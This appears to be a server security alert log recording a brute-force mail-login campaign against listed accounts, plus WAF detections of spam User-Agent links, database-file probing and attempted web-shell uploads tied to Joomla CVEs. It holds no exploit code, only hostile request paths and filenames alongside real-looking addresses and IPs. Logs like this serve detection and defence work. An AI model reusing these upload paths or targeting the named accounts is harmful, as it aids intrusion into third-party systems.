name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:32:23 dovecot_login authenticator failed for H=(CamLwS) [147.124.219.211]:50773: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:33:38 dovecot_login authenticator failed for H=(7SFHIj) [147.124.219.211]:55750: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:34:27 dovecot_login authenticator failed for H=(rGcXn2b) [147.124.219.211]:59334: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:35:42 dovecot_login authenticator failed for H=(rusaTqfK) [147.124.219.211]:64756: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-14 11:36:05 dovecot_login authenticator failed for H=([125.139.87.30]) [128.185.253.122]:34786: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.83.255.228
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://meneercasino.com/slot-reviews/santa\">penis enlargement bible review</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:36:32 dovecot_login authenticator failed for H=(CVKTieTx) [147.124.219.211]:51783: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:37:22 dovecot_login authenticator failed for H=(dI1nF6Qm) [147.124.219.211]:55094: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-14 11:37:40 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net (ip-142-54-232-1.hosts.zerolag.com) [67.85.146.216]:37403: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:38:36 dovecot_login authenticator failed for H=(464zvDIf) [147.124.219.211]:59896: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.135.140.111
country_id: 3077311
description:
2026-07-14 11:38:48 dovecot_login authenticator failed for H=cst-prg-140-111.cust.vodafone.cz ([36.92.41.116]) [46.135.140.111]:57532: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-14 11:39:24 dovecot_login authenticator failed for H=([65.20.202.4]) [182.95.181.50]:60998: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:39:26 dovecot_login authenticator failed for H=(NOHX5g) [147.124.219.211]:63064: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-14 11:40:12 dovecot_plain authenticator failed for H=(cocally) [65.20.163.103]:53548: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:40:40 dovecot_login authenticator failed for H=(dLTvWW1OQS) [147.124.219.211]:51475: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-14 11:42:14 dovecot_login authenticator failed for H=(corporativo.static.gvt.net.br) [61.1.105.105]:43222: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:41:30 dovecot_login authenticator failed for H=(Hgpkk7) [147.124.219.211]:54725: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-14 11:41:51 dovecot_login authenticator failed for H=([14.35.209.208]) [182.95.127.42]:42658: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:42:41 dovecot_login authenticator failed for H=(JJoGqP5) [147.124.219.211]:59412: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:43:31 dovecot_login authenticator failed for H=(LugxPJG) [147.124.219.211]:62697: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:44:46 dovecot_login authenticator failed for H=(keZW9luR) [147.124.219.211]:51522: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:45:36 dovecot_login authenticator failed for H=(UULWjCh) [147.124.219.211]:54975: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:46:26 dovecot_login authenticator failed for H=(tBp1zX3oD) [147.124.219.211]:58350: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:47:41 dovecot_login authenticator failed for H=(1RXnwzB) [147.124.219.211]:63549: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-14 11:49:11 dovecot_login authenticator failed for H=([182.79.151.121]) [103.90.27.83]:54610: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-14 11:48:29 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net (105.217.146.34.bc.googleusercontent.com) [111.70.9.143]:50357: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:48:32 dovecot_login authenticator failed for H=(xw4mcyu) [147.124.219.211]:50718: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.198.159
country_id: 99237
description:
2026-07-14 11:48:40 dovecot_login authenticator failed for H=([149.54.62.170]) [65.20.198.159]:46826: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:49:22 dovecot_login authenticator failed for H=(xb80EUJ) [147.124.219.211]:54569: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:50:38 dovecot_login authenticator failed for H=(KMt15LXJu) [147.124.219.211]:59729: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:51:51 dovecot_login authenticator failed for H=(qJjTgUY7e) [147.124.219.211]:64463: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-14 11:52:05 dovecot_login authenticator failed for H=([58.34.62.66]) [202.62.88.25]:53926: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-14 11:52:47 dovecot_login authenticator failed for H=([124.88.174.143]) [103.156.26.25]:49908: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-14 11:53:10 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([49.124.159.193]) [202.62.129.18]:61540: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-14 11:52:32 dovecot_login authenticator failed for H=([78.25.125.137]) [182.95.176.122]:41478: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:52:41 dovecot_login authenticator failed for H=(oZAhObFxI) [147.124.219.211]:51819: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.124.219.211
country_id: 6252001
description:
2026-07-14 11:53:52 dovecot_login authenticator failed for H=(scaiYjt) [147.124.219.211]:57144: 535 Incorrect authentication data (set_id=ahsbahrain@ahsmarine.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://eeb.me\">\xe2\x80\x9cViencaytrong.com\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-14 11:54:47 dovecot_login authenticator failed for H=([192.252.208.66]) [122.160.11.40]:53188: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-14 11:55:06 dovecot_login authenticator failed for H=([184.181.217.198]) [65.181.79.60]:61142: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-14 11:55:09 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([196.188.187.205]) [109.238.140.87]:56062: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-14 11:55:33 dovecot_login authenticator failed for H=([206.220.175.5]) [128.134.83.141]:50000: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.46.177.242
country_id: 3703430
description:
2026-07-14 11:56:03 dovecot_login authenticator failed for H=([183.236.75.189]) [200.46.177.242]:58139: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-14 11:56:42 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net ([197.219.228.242]) [111.70.32.10]:57487: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-14 11:56:25 dovecot_login authenticator failed for H=(45-238-2-40.netmaisfibra.net.br) [103.187.78.189]:57094: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-14 11:56:29 dovecot_login authenticator failed for H=([27.24.141.119]) [182.95.176.122]:48358: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-14 12:00:24 dovecot_login authenticator failed for H=([49.124.146.34]) [38.212.67.79]:48911: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-14 12:00:50 dovecot_login authenticator failed for H=(42-148-11-4.rev.home.ne.jp) [122.186.249.6]:49348: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-14 12:01:34 dovecot_login authenticator failed for H=([222.75.225.206]) [183.89.208.174]:56558: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-14 12:02:38 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [196.28.226.125]:51233: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-14 12:03:52 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([220.178.246.43]) [218.103.36.176]:64432: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-14 12:04:11 dovecot_login authenticator failed for H=(wsip-72-211-57-196.lv.lv.cox.net) [206.62.136.130]:53482: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-14 12:07:15 dovecot_login authenticator failed for H=([85.12.248.68]) [64.53.7.231]:48276: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-07-14 12:08:08 dovecot_login authenticator failed for H=([60.12.106.119]) [65.20.211.96]:43216: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-14 12:08:55 dovecot_login authenticator failed for H=([203.123.219.137]) [122.160.142.194]:60712: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.148.99.59
country_id: 6252001
description:
2026-07-14 12:14:44 dovecot_login authenticator failed for H=([142.54.231.33]) [38.148.99.59]:33869: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-14 12:14:56 dovecot_login authenticator failed for H=([103.120.116.162]) [50.217.40.11]:43622: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-14 12:15:12 dovecot_login authenticator failed for H=([111.70.38.248]) [180.71.9.31]:55760: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350919
name: IM360 WAF: Base64 encoded payload detected
abuser: 62.210.127.48
country_id: 3017382
domain: globalgroupoman.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-14 12:20:23 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com (201.221.116.88.cidadei.com.br) [78.66.44.246]:60258: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.224.81
country_id: 1269750
description:
2026-07-14 12:20:38 dovecot_login authenticator failed for H=([220.122.115.9]) [103.112.224.81]:49904: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.153.12.189
country_id: 1269750
description:
2026-07-14 12:22:22 dovecot_plain authenticator failed for H=(eumited) [103.153.12.189]:45267: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.7.114.69
country_id: 6252001
description:
2026-07-14 12:24:07 dovecot_login authenticator failed for H=ip68-7-114-69.sd.sd.cox.net (customer-187-49-63-51.f1net.com.br) [68.7.114.69]:52930: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-14 12:26:50 dovecot_login authenticator failed for H=([59.22.68.213]) [117.250.19.91]:59608: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.132
country_id: 1668284
description:
2026-07-14 12:35:38 dovecot_login authenticator failed for H=110-25-112-132.adsl.fetnet.net ([192.111.137.33]) [110.25.112.132]:51239: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-14 12:36:17 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([61.1.105.105]) [89.67.246.166]:53376: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-14 12:36:11 dovecot_login authenticator failed for H=(162.9.52.116.broad.km.yn.dynamic.163data.com.cn) [207.254.29.22]:54780: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-14 12:36:29 dovecot_login authenticator failed for H=([174.64.199.71]) [122.185.44.206]:34271: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-14 12:36:42 dovecot_login authenticator failed for H=([223.85.54.40]) [1.247.245.61]:36175: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-14 12:37:57 dovecot_login authenticator failed for H=([154.146.240.123]) [182.73.109.194]:52978: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-14 12:39:39 dovecot_login authenticator failed for H=([218.149.228.134]) [106.245.246.26]:57947: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-14 12:40:01 dovecot_login authenticator failed for H=([49.125.201.70]) [101.13.5.63]:46804: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-14 12:41:11 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [196.41.207.112]:42784: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-14 12:41:23 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net (93-62-72-229.ip21.fastwebnet.it) [71.229.1.186]:45132: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-14 12:41:27 dovecot_login authenticator failed for H=([223.100.248.64]) [210.177.143.61]:49216: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-14 12:41:47 dovecot_login authenticator failed for H=([111.70.39.216]) [106.0.165.219]:37968: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-14 12:42:10 dovecot_login authenticator failed for H=([68.71.240.212]) [128.134.83.141]:35720: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-14 12:45:07 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([183.171.4.144]) [60.40.45.223]:51325: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 23.248.170.199
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/JohnFelix777_1784013335217.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-14 12:45:51 dovecot_login authenticator failed for H=(166.red-195-57-123.staticip.rima-tde.net) [88.215.1.201]:48385: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.112.224.81
country_id: 1269750
description:
2026-07-14 12:49:46 dovecot_login authenticator failed for H=([198.8.94.171]) [103.112.224.81]:35896: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-14 12:49:59 dovecot_login authenticator failed for H=([36.135.100.48]) [175.200.217.128]:45584: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 105.113.95.157
country_id: 2328926
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:105.113.95.157||TA:105.113.95.157||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.192
country_id: 2287781
description:
2026-07-14 12:53:12 dovecot_login authenticator failed for H=([182.90.248.108]) [160.154.84.192]:23032: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-14 12:53:14 dovecot_login authenticator failed for H=([98.181.137.69]) [182.95.116.66]:59552: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-14 12:53:25 dovecot_login authenticator failed for H=(189-108-96-183.customer.tdatabrasil.net.br) [122.185.146.166]:37484: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.90.128.97
country_id: 6252001
description:
2026-07-14 12:53:25 dovecot_login authenticator failed for H=([49.124.147.110]) [172.90.128.97]:61370: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-14 12:53:53 dovecot_login authenticator failed for H=([192.111.137.33]) [196.190.220.168]:54018: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.210.105.202
country_id: 3175395
description:
2026-07-14 12:54:28 dovecot_login authenticator failed for H=95-210-105-202.ip.skylogicnet.com ([220.82.8.82]) [95.210.105.202]:31778: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-14 12:58:42 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca (cpe-58-168-227-16.static.vic.asp.telstra.net) [208.96.233.67]:59774: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.17.8
country_id: 3017382
description:
2026-07-14 12:59:52 dovecot_login authenticator failed for H=vps-1f598509.vps.ovh.net ([59.37.13.66]) [213.32.17.8]:48402: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-14 12:59:26 dovecot_login authenticator failed for H=([197.219.228.242]) [122.184.124.46]:55788: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 111.119.39.20
country_id: 1282988
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.afanyc.com/\">KONTOL</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-14 13:07:48 dovecot_login authenticator failed for H=([121.120.42.31]) [197.219.210.86]:55258: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-14 13:07:57 dovecot_login authenticator failed for H=([111.26.62.45]) [64.53.7.231]:44950: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-14 13:08:48 dovecot_login authenticator failed for H=([98.170.57.236]) [89.121.255.194]:56703: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-14 13:12:03 dovecot_login authenticator failed for H=([184.181.178.35]) [182.95.106.102]:46638: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.182
country_id: 1668284
description:
2026-07-14 13:17:02 dovecot_login authenticator failed for H=111-70-49-182.emome-ip.hinet.net ([116.230.66.189]) [111.70.49.182]:43250: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.83.90
country_id: 1835841
description:
2026-07-14 13:17:21 dovecot_login authenticator failed for H=(59-120-8-61.hinet-ip.hinet.net) [119.207.83.90]:58454: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 163.7.11.71
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:keralapeople||


plugin: modsec
rule: 77469916
abuser: 64.188.80.250
country_id: 660013
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:595595.php8||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469918
abuser: 64.188.80.250
country_id: 660013
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:595595.shtml||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-14 13:26:07 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([27.24.141.160]) [89.67.39.124]:36736: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-14 13:26:18 dovecot_login authenticator failed for H=([61.72.145.120]) [128.185.220.90]:46460: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.212.176.37
country_id: 6252001
description:
2026-07-14 13:26:27 dovecot_login authenticator failed for H=wsip-72-212-176-37.hr.hr.cox.net (mx-ll-223.206.73-179.dynamic.3bb.in.th) [72.212.176.37]:35836: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
